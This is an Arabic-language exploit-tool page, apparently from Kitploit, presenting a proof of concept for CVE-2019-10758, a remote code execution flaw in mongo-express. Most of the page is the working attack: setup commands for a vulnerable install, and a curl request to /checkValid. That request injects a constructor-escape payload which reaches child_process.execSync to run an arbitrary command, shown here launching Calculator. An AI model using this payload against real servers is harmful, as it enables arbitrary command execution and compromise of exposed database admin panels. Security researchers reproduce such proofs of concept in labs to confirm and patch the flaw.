CVE-2019-10758 — استغلال إثبات المفهوم لـ CVE-2019-10758، يوضح تنفيذ التعليمات البرمجية عن بُعد في mongo-express عبر حقن مستندات مصممة. يتضمن حمولات curl وقائمة على البرامج النصية. | Kitploit

CVE-2019-10758 إثبات المفهوم

الإعداد

docker run -p 27017:27017 -d mongo
npm install [email protected] 
cd node_modules/mongo-express/ && node app.js

استغلال cURL

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

استغلال عبر السكربت

node main.js

تنزيل الأداة

CVE-2019-10758

الأكثر شعبية

CVE-2019-10758 إثبات المفهوم

الإعداد

استغلال cURL

استغلال عبر السكربت